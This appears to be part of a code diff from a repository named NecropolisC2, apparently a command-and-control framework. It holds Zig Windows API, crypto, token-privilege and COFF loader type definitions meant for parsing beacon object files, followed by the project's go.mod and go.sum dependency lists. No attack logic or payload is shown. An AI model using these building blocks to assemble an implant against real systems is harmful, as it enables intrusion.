pub const IMAGE_FILE_MACHINE_AMD64: u16 = 0x8664;
pub const IMAGE_REL_AMD64_ABSOLUTE: u16 = 0x0000;
pub const IMAGE_REL_AMD64_ADDR64: u16 = 0x0001;
pub const IMAGE_REL_AMD64_ADDR32: u16 = 0x0002;
pub const IMAGE_REL_AMD64_ADDR32NB: u16 = 0x0003;
pub const IMAGE_REL_AMD64_REL32: u16 = 0x0004;
pub const IMAGE_REL_AMD64_REL32_1: u16 = 0x0005;
pub const IMAGE_REL_AMD64_REL32_2: u16 = 0x0006;
pub const IMAGE_REL_AMD64_REL32_3: u16 = 0x0007;
pub const IMAGE_REL_AMD64_REL32_4: u16 = 0x0008;
pub const IMAGE_REL_AMD64_REL32_5: u16 = 0x0009;
pub const COFF_SECT_EXEC: u32 = 0x20000000;
pub const COFF_SECT_WRITE: u32 = 0x80000000;
pub const COFF_SECT_DATA: u32 = 0x40000000;
// 1b. BCrypt crypto constants + structs for ECDH/AES-GCM
pub const BCRYPT_AES_ALGORITHM: LPCWSTR = &[_:0]u16{ 'a', 'e', 's' };
pub const BCRYPT_CHAINING_MODE: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e' };
pub const BCRYPT_CHAIN_MODE_GCM: LPCWSTR = &[_:0]u16{ 'C', 'h', 'a', 'i', 'n', 'i', 'n', 'g', 'M', 'o', 'd', 'e', 'G', 'C', 'M' };
pub const BCRYPT_USE_SYSTEM_PREFERRED_RNG: ULONG = 0x00000002;
pub const BCRYPT_ECDH_P256_ALGORITHM: LPCWSTR = &[_:0]u16{ 'E', 'C', 'D', 'H', '_', 'P', '2', '5', '6' };
pub const BCRYPT_ECCPUBLIC_BLOB: LPCWSTR = &[_:0]u16{ 'E', 'C', 'C', 'P', 'U', 'B', 'L', 'I', 'C', 'B', 'L', 'O', 'B' };
pub const BCRYPT_KDF_RAW_SECRET: ?*const anyopaque = @as(?*const anyopaque, @ptrFromInt(3));
pub const AES_KEY_SIZE: usize = 32;
pub const GCM_NONCE_SIZE: usize = 12;
pub const GCM_TAG_SIZE: usize = 16;
pub fn BCRYPT_INIT_AUTH_MODE_INFO(info: *BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO) void {
info.cbSize = @sizeOf(BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO);
info.dwInfoVersion = 1;
info.pbNonce = null;
info.cbNonce = 0;
info.pbAuthData = null;
info.cbAuthData = 0;
info.pbTag = null;
info.cbTag = 0;
info.pbMacContext = null;
info.cbMacContext = 0;
info.dwFlags = 0;
info.pbIV = null;
info.cbIV = 0;
}
pub const UNICODE_STRING = extern struct {
Length: u16,
MaximumLength: u16,
Buffer: [*]u16,
};
pub const SYSTEM_INFO = extern struct {
u: extern union {
dwOemId: DWORD,
s: extern struct {
wProcessorArchitecture: WORD,
wReserved: WORD,
},
},
dwPageSize: DWORD,
lpMinimumApplicationAddress: LPVOID,
lpMaximumApplicationAddress: LPVOID,
dwActiveProcessorMask: DWORD_PTR,
dwNumberOfProcessors: DWORD,
dwProcessorType: DWORD,
dwAllocationGranularity: DWORD,
wProcessorLevel: WORD,
wProcessorRevision: WORD,
};
pub const COORD = extern struct {
X: SHORT,
Y: SHORT,
};
pub const MEMORY_BASIC_INFORMATION = extern struct {
BaseAddress: LPVOID,
AllocationBase: LPVOID,
AllocationProtect: DWORD,
RegionSize: SIZE_T,
State: DWORD,
Protect: DWORD,
Type: DWORD,
};
pub const SECURITY_ATTRIBUTES = extern struct {
nLength: DWORD,
lpSecurityDescriptor: ?LPVOID,
bInheritHandle: BOOL,
};
pub const PROCESS_INFORMATION = extern struct {
hProcess: HANDLE,
hThread: HANDLE,
dwProcessId: DWORD,
dwThreadId: DWORD,
};
pub const STARTUPINFOA = extern struct {
cb: DWORD,
lpReserved: LPSTR,
lpDesktop: LPSTR,
lpTitle: LPSTR,
dwX: DWORD,
dwY: DWORD,
dwXSize: DWORD,
dwYSize: DWORD,
dwXCountChars: DWORD,
dwYCountChars: DWORD,
dwFillAttribute: DWORD,
dwFlags: DWORD,
wShowWindow: WORD,
cbReserved2: WORD,
lpReserved2: *BYTE,
hStdInput: HANDLE,
hStdOutput: HANDLE,
hStdError: HANDLE,
};
pub const SYSTEMTIME = extern struct {
wYear: WORD,
wMonth: WORD,
wDayOfWeek: WORD,
wDay: WORD,
wHour: WORD,
wMinute: WORD,
wSecond: WORD,
wMilliseconds: WORD,
};
// 1d. NT kernel structures — CONTEXT, EXCEPTION_RECORD, object/process types
pub const CONTEXT = extern struct {
P1Home: DWORD64,
P2Home: DWORD64,
P3Home: DWORD64,
P4Home: DWORD64,
P5Home: DWORD64,
P6Home: DWORD64,
ContextFlags: DWORD,
MxCsr: DWORD,
SegCs: WORD,
SegDs: WORD,
SegEs: WORD,
SegFs: WORD,
SegGs: WORD,
SegSs: WORD,
EFlags: DWORD,
Dr0: DWORD64,
Dr1: DWORD64,
Dr2: DWORD64,
Dr3: DWORD64,
Dr6: DWORD64,
Dr7: DWORD64,
Rax: DWORD64,
Rcx: DWORD64,
Rdx: DWORD64,
Rbx: DWORD64,
Rsp: DWORD64,
Rbp: DWORD64,
Rsi: DWORD64,
Rdi: DWORD64,
R8: DWORD64,
R9: DWORD64,
R10: DWORD64,
R11: DWORD64,
R12: DWORD64,
R13: DWORD64,
R14: DWORD64,
R15: DWORD64,
Rip: DWORD64,
};
pub const EXCEPTION_RECORD = extern struct {
ExceptionCode: DWORD,
ExceptionFlags: DWORD,
ExceptionRecord: *EXCEPTION_RECORD,
ExceptionAddress: *anyopaque,
NumberParameters: DWORD,
ExceptionInformation: [15]ULONG_PTR,
};
pub const EXCEPTION_POINTERS = extern struct {
ExceptionRecord: *EXCEPTION_RECORD,
ContextRecord: *CONTEXT,
};
pub const RTL_OSVERSIONINFOW = extern struct {
dwOSVersionInfoSize: DWORD,
dwMajorVersion: DWORD,
dwMinorVersion: DWORD,
dwBuildNumber: DWORD,
dwPlatformId: DWORD,
szCSDVersion: [128]WCHAR,
};
pub const BCRYPT_ALG_HANDLE = *opaque {};
pub const BCRYPT_KEY_HANDLE = *opaque {};
pub const BCRYPT_SECRET_HANDLE = *opaque {};
// 1e. BCrypt auth mode info + COFF loader structs for BOF parsing
pub const BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO = extern struct {
cbSize: ULONG,
dwInfoVersion: ULONG,
pbNonce: ?*u8,
cbNonce: ULONG,
pbAuthData: ?*u8,
cbAuthData: ULONG,
pbTag: ?*u8,
cbTag: ULONG,
pbMacContext: ?*u8,
cbMacContext: ULONG,
dwFlags: ULONG,
pbIV: ?*u8,
cbIV: ULONG,
};
pub const coff_file_header_t = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const coff_section_header_t = extern struct {
Name: [8]u8,
VirtualSize: u32,
VirtualAddress: u32,
SizeOfRawData: u32,
PointerToRawData: u32,
PointerToRelocations: u32,
PointerToLinenumbers: u32,
NumberOfRelocations: u16,
NumberOfLinenumbers: u16,
Characteristics: u32,
};
pub const coff_symbol_t = extern struct {
Name: extern union {
ShortName: [8]u8,
LongName: extern struct {
Zeroes: u32,
Offset: u32,
},
},
Value: u32,
SectionNumber: i16,
Type: u16,
StorageClass: u8,
NumberOfAuxSymbols: u8,
};
pub const coff_reloc_t = extern struct {
VirtualAddress: u32,
SymbolTableIndex: u32,
Type: u16,
};
pub const coff_mapped_section_t = struct {
data: []u8,
characteristics: u32,
name: [8]u8,
};
pub const bof_data_parser_t = struct {
data: []const u8,
offset: usize,
};
pub const OBJECT_ATTRIBUTES = extern struct {
Length: ULONG,
RootDirectory: ?HANDLE,
ObjectName: ?*anyopaque,
Attributes: ULONG,
SecurityDescriptor: ?*anyopaque,
SecurityQualityOfService: ?*anyopaque,
};
pub const CLIENT_ID = extern struct {
UniqueProcess: HANDLE,
UniqueThread: ?HANDLE,
};
pub const PROCESS_INSTRUMENTATION_CALLBACK = extern struct {
Version: ULONG,
Reserved: ULONG,
Callback: ?*anyopaque,
};
pub const PROCESS_CREATE_INFO = extern struct {
Size: SIZE_T,
ProcessHandle: HANDLE,
ParentProcess: HANDLE,
};
pub const SECURITY_IMPERSONATION_LEVEL = enum(u32) {
SecurityAnonymous = 0,
SecurityIdentification = 1,
SecurityImpersonation = 2,
SecurityDelegation = 3,
};
pub const TOKEN_TYPE = enum(u32) {
TokenPrimary = 1,
TokenImpersonation = 2,
};
pub const TOKEN_DUPLICATE: DWORD = 0x0002;
pub const TOKEN_QUERY: DWORD = 0x0008;
pub const TOKEN_ADJUST_PRIVILEGES: DWORD = 0x0020;
pub const TOKEN_ASSIGN_PRIMARY: DWORD = 0x0001;
pub const TOKEN_IMPERSONATE: DWORD = 0x0004;
pub const LUID = extern struct {
LowPart: DWORD,
HighPart: LONG,
};
pub const LUID_AND_ATTRIBUTES = extern struct {
Luid: LUID,
Attributes: DWORD,
};
pub const TOKEN_PRIVILEGES = extern struct {
PrivilegeCount: DWORD,
Privileges: [1]LUID_AND_ATTRIBUTES,
};
// 1f. security/privilege/token constants
pub const SE_PRIVILEGE_ENABLED: DWORD = 0x00000002;
pub const GENERIC_READ: DWORD = 0x80000000;
pub const GENERIC_WRITE: DWORD = 0x40000000;
pub const OPEN_EXISTING: DWORD = 3;
pub const OPEN_ALWAYS: DWORD = 4;
pub const CREATE_ALWAYS: DWORD = 2;
pub const FILE_SHARE_READ: DWORD = 0x00000001;
pub const FILE_SHARE_WRITE: DWORD = 0x00000002;
pub const FILE_ATTRIBUTE_NORMAL: DWORD = 0x00000080;
pub const INVALID_HANDLE_VALUE: HANDLE = @ptrFromInt(~@as(usize, 0));
pub const CRITICAL_SECTION = extern struct {
DebugInfo: ?*anyopaque,
LockCount: LONG,
RecursionCount: LONG,
OwningThread: HANDLE,
LockSemaphore: HANDLE,
SpinCount: ULONG_PTR,
};
pub const PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE: DWORD_PTR = 0x00020016;
+141
View File
@@ -0,0 +1,141 @@
module github.com/Yenn503/NecropolisC2
go 1.22
require (
github.com/creack/pty v1.1.24
github.com/libp2p/go-libp2p v0.36.5
github.com/libp2p/go-libp2p-kad-dht v0.24.4
github.com/libp2p/go-libp2p-pubsub v0.12.0
github.com/multiformats/go-multiaddr v0.13.0
github.com/peterh/liner v1.2.2
golang.org/x/crypto v0.26.0
golang.org/x/sys v0.25.0
golang.org/x/term v0.24.0
google.golang.org/protobuf v1.34.2
)
require (
github.com/benbjohnson/clock v1.3.5 // indirect
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/containerd/cgroups v1.1.0 // indirect
github.com/coreos/go-systemd/v22 v22.5.0 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c // indirect
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 // indirect
github.com/docker/go-units v0.5.0 // indirect
github.com/elastic/gosigar v0.14.3 // indirect
github.com/flynn/noise v1.1.0 // indirect
github.com/francoispqt/gojay v1.2.13 // indirect
github.com/go-logr/logr v1.4.2 // indirect
github.com/go-logr/stdr v1.2.2 // indirect
github.com/go-task/slim-sprig/v3 v3.0.0 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/gogo/protobuf v1.3.2 // indirect
github.com/google/gopacket v1.1.19 // indirect
github.com/google/pprof v0.0.0-20240727154555-813a5fbdbec8 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/hashicorp/golang-lru v0.5.4 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/huin/goupnp v1.3.0 // indirect
github.com/ipfs/boxo v0.10.0 // indirect
github.com/ipfs/go-cid v0.4.1 // indirect
github.com/ipfs/go-datastore v0.6.0 // indirect
github.com/ipfs/go-log v1.0.5 // indirect
github.com/ipfs/go-log/v2 v2.5.1 // indirect
github.com/ipld/go-ipld-prime v0.20.0 // indirect
github.com/jackpal/go-nat-pmp v1.0.2 // indirect
github.com/jbenet/go-temp-err-catcher v0.1.0 // indirect
github.com/jbenet/goprocess v0.1.4 // indirect
github.com/klauspost/compress v1.17.9 // indirect
github.com/klauspost/cpuid/v2 v2.2.8 // indirect
github.com/koron/go-ssdp v0.0.4 // indirect
github.com/libp2p/go-buffer-pool v0.1.0 // indirect
github.com/libp2p/go-cidranger v1.1.0 // indirect
github.com/libp2p/go-flow-metrics v0.1.0 // indirect
github.com/libp2p/go-libp2p-asn-util v0.4.1 // indirect
github.com/libp2p/go-libp2p-kbucket v0.6.3 // indirect
github.com/libp2p/go-libp2p-record v0.2.0 // indirect
github.com/libp2p/go-libp2p-routing-helpers v0.7.2 // indirect
github.com/libp2p/go-msgio v0.3.0 // indirect
github.com/libp2p/go-nat v0.2.0 // indirect
github.com/libp2p/go-netroute v0.2.1 // indirect
github.com/libp2p/go-reuseport v0.4.0 // indirect
github.com/libp2p/go-yamux/v4 v4.0.1 // indirect
github.com/libp2p/zeroconf/v2 v2.2.0 // indirect
github.com/marten-seemann/tcp v0.0.0-20210406111302-dfbc87cc63fd // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/mattn/go-runewidth v0.0.3 // indirect
github.com/miekg/dns v1.1.62 // indirect
github.com/mikioh/tcpinfo v0.0.0-20190314235526-30a79bb1804b // indirect
github.com/mikioh/tcpopt v0.0.0-20190314235656-172688c1accc // indirect
github.com/minio/sha256-simd v1.0.1 // indirect
github.com/mr-tron/base58 v1.2.0 // indirect
github.com/multiformats/go-base32 v0.1.0 // indirect
github.com/multiformats/go-base36 v0.2.0 // indirect
github.com/multiformats/go-multiaddr-dns v0.4.0 // indirect
github.com/multiformats/go-multiaddr-fmt v0.1.0 // indirect
github.com/multiformats/go-multibase v0.2.0 // indirect
github.com/multiformats/go-multicodec v0.9.0 // indirect
github.com/multiformats/go-multihash v0.2.3 // indirect
github.com/multiformats/go-multistream v0.5.0 // indirect
github.com/multiformats/go-varint v0.0.7 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/onsi/ginkgo/v2 v2.20.0 // indirect
github.com/opencontainers/runtime-spec v1.2.0 // indirect
github.com/opentracing/opentracing-go v1.2.0 // indirect
github.com/pbnjay/memory v0.0.0-20210728143218-7b4eea64cf58 // indirect
github.com/pion/datachannel v1.5.8 // indirect
github.com/pion/dtls/v2 v2.2.12 // indirect
github.com/pion/ice/v2 v2.3.34 // indirect
github.com/pion/interceptor v0.1.30 // indirect
github.com/pion/logging v0.2.2 // indirect
github.com/pion/mdns v0.0.12 // indirect
github.com/pion/randutil v0.1.0 // indirect
github.com/pion/rtcp v1.2.14 // indirect
github.com/pion/rtp v1.8.9 // indirect
github.com/pion/sctp v1.8.33 // indirect
github.com/pion/sdp/v3 v3.0.9 // indirect
github.com/pion/srtp/v2 v2.0.20 // indirect
github.com/pion/stun v0.6.1 // indirect
github.com/pion/transport/v2 v2.2.10 // indirect
github.com/pion/turn/v2 v2.1.6 // indirect
github.com/pion/webrtc/v3 v3.3.0 // indirect
github.com/pkg/errors v0.9.1 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/polydawn/refmt v0.89.0 // indirect
github.com/prometheus/client_golang v1.20.0 // indirect
github.com/prometheus/client_model v0.6.1 // indirect
github.com/prometheus/common v0.55.0 // indirect
github.com/prometheus/procfs v0.15.1 // indirect
github.com/quic-go/qpack v0.4.0 // indirect
github.com/quic-go/quic-go v0.46.0 // indirect
github.com/quic-go/webtransport-go v0.8.0 // indirect
github.com/raulk/go-watchdog v1.3.0 // indirect
github.com/spaolacci/murmur3 v1.1.0 // indirect
github.com/stretchr/testify v1.9.0 // indirect
github.com/whyrusleeping/go-keyspace v0.0.0-20160322163242-5b898ac5add1 // indirect
github.com/wlynxg/anet v0.0.4 // indirect
go.opencensus.io v0.24.0 // indirect
go.opentelemetry.io/otel v1.16.0 // indirect
go.opentelemetry.io/otel/metric v1.16.0 // indirect
go.opentelemetry.io/otel/trace v1.16.0 // indirect
go.uber.org/dig v1.18.0 // indirect
go.uber.org/fx v1.22.2 // indirect
go.uber.org/mock v0.4.0 // indirect
go.uber.org/multierr v1.11.0 // indirect
go.uber.org/zap v1.27.0 // indirect
golang.org/x/exp v0.0.0-20240808152545-0cdaa3abc0fa // indirect
golang.org/x/mod v0.20.0 // indirect
golang.org/x/net v0.28.0 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/text v0.17.0 // indirect
golang.org/x/tools v0.24.0 // indirect
gonum.org/v1/gonum v0.13.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
lukechampine.com/blake3 v1.3.0 // indirect
)
+681
View File
@@ -0,0 +1,681 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.31.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=
cloud.google.com/go v0.37.0/go.mod h1:TS1dMSSfndXH133OKGwekG838Om/cQT0BUHV3HcBgoo=
dmitri.shuralyov.com/app/changes v0.0.0-20180602232624-0a106ad413e3/go.mod h1:Yl+fi1br7+Rr3LqpNJf1/uxUdtRUV+Tnj0o93V2B9MU=
dmitri.shuralyov.com/html/belt v0.0.0-20180602232347-f7d459c86be0/go.mod h1:JLBrvjyP0v+ecvNYvCpyZgu5/xkfAUhi6wJj28eUfSU=
dmitri.shuralyov.com/service/change v0.0.0-20181023043359-a85b471d5412/go.mod h1:a1inKt/atXimZ4Mv927x+r7UpyzRUf4emIoiiSC2TN4=
dmitri.shuralyov.com/state v0.0.0-20180228185332-28bcc343414c/go.mod h1:0PRwlb0D6DFvNNtx+9ybjezNCa8XF0xaYcETyp6rHWU=
git.apache.org/thrift.git v0.0.0-20180902110319-2566ecd5d999/go.mod h1:fPE2ZNJGynbRyZ4dJvy6G277gSllfV2HJqblrnkyeyg=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/benbjohnson/clock v1.3.5 h1:VvXlSJBzZpA/zum6Sj74hxwYI2DIxRWuNIoXAzHZz5o=
github.com/benbjohnson/clock v1.3.5/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/bradfitz/go-smtpd v0.0.0-20170404230938-deb6d6237625/go.mod h1:HYsPBTaaSFSlLx/70C2HPIMNZpVV8+vt/A+FMnYP11g=
github.com/buger/jsonparser v0.0.0-20181115193947-bf1c66bbce23/go.mod h1:bbYlZJ7hK1yFx9hf58LP0zeX7UjIGs20ufpu3evjr+s=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/cilium/ebpf v0.2.0/go.mod h1:To2CFviqOWL/M0gIMsvSMlqe7em/l1ALkX1PyjrX2Qs=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/containerd/cgroups v0.0.0-20201119153540-4cbc285b3327/go.mod h1:ZJeTFisyysqgcCdecO57Dj79RfL0LNeGiFUqLYQRYLE=
github.com/containerd/cgroups v1.1.0 h1:v8rEWFl6EoqHB+swVNjVoCJE8o3jX7e8nqBGPLaDFBM=
github.com/containerd/cgroups v1.1.0/go.mod h1:6ppBcbh/NOOUU+dMKrykgaBnK9lCIBxHqJDGwsa1mIw=
github.com/coreos/go-systemd v0.0.0-20181012123002-c6f51f82210d/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/go-systemd/v22 v22.1.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.24 h1:bJrF4RRfyJnbTJqzRLHzcGaZK1NeM5kTC9jGgovnR1s=
github.com/creack/pty v1.1.24/go.mod h1:08sCNb52WyoAwi2QDyzUCTgcvVFhUzewun7wtTfvcwE=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c h1:pFUpOrbxDR6AkioZ1ySsx5yxlDQZ8stG2b88gTPxgJU=
github.com/davidlazar/go-crypto v0.0.0-20200604182044-b73af7476f6c/go.mod h1:6UhI8N9EjYm1c2odKpFpAYeR8dsBeM7PtzQhRgxRr9U=
github.com/decred/dcrd/crypto/blake256 v1.0.1 h1:7PltbUIQB7u/FfZ39+DGa/ShuMyJ5ilcvdfma9wOH6Y=
github.com/decred/dcrd/crypto/blake256 v1.0.1/go.mod h1:2OfgNZ5wDpcsFmHmCK5gZTPcCXqlm2ArzUIkw9czNJo=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0 h1:rpfIENRNNilwHwZeG5+P150SMrnNEcHYvcCuK6dPZSg=
github.com/decred/dcrd/dcrec/secp256k1/v4 v4.3.0/go.mod h1:v57UDF4pDQJcEfFUCRop3lJL149eHGSe9Jvczhzjo/0=
github.com/docker/go-units v0.4.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/docker/go-units v0.5.0 h1:69rxXcBk27SvSaaxTtLh/8llcHD8vYHT7WSdRZ/jvr4=
github.com/docker/go-units v0.5.0/go.mod h1:fgPhTUdO+D/Jk86RDLlptpiXQzgHJF7gydDDbaIK4Dk=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/elastic/gosigar v0.12.0/go.mod h1:iXRIGg2tLnu7LBdpqzyQfGDEidKCfWcCMS0WKyPWoMs=
github.com/elastic/gosigar v0.14.3 h1:xwkKwPia+hSfg9GqrCUKYdId102m9qTJIIr7egmK/uo=
github.com/elastic/gosigar v0.14.3/go.mod h1:iXRIGg2tLnu7LBdpqzyQfGDEidKCfWcCMS0WKyPWoMs=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
github.com/flynn/noise v1.1.0 h1:KjPQoQCEFdZDiP03phOvGi11+SVVhBG2wOWAorLsstg=
github.com/flynn/noise v1.1.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
github.com/francoispqt/gojay v1.2.13 h1:d2m3sFjloqoIUQU3TsHBgj6qg/BVGlTBeHDUmyJnXKk=
github.com/francoispqt/gojay v1.2.13/go.mod h1:ehT5mTG4ua4581f1++1WLG0vPdaA9HaiDsoyrBGkyDY=
github.com/frankban/quicktest v1.14.4 h1:g2rn0vABPOOXmZUj+vbmUp0lPoXEMuhTpIluN0XL9UY=
github.com/frankban/quicktest v1.14.4/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/gliderlabs/ssh v0.1.1/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
github.com/go-errors/errors v1.0.1/go.mod h1:f4zRHt4oKfwPJE5k8C9vpYG+aDHdBFUsgrm6/TyX73Q=
github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A=
github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY=
github.com/go-logr/logr v1.4.2/go.mod h1:9T104GzyrTigFIr8wt5mBrctHMim0Nb2HLGrmQ40KvY=
github.com/go-logr/stdr v1.2.2 h1:hSWxHoqTgW2S2qGc0LTAI563KZ5YKYRhT3MFKZMbjag=
github.com/go-logr/stdr v1.2.2/go.mod h1:mMo/vtBO5dYbehREoey6XUKy/eSumjCCveDpRre4VKE=
github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI=
github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8=
github.com/go-yaml/yaml v2.1.0+incompatible/go.mod h1:w2MrLa16VYP0jy6N7M5kHaCkaLENm+P+Tv+MfurjSw0=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
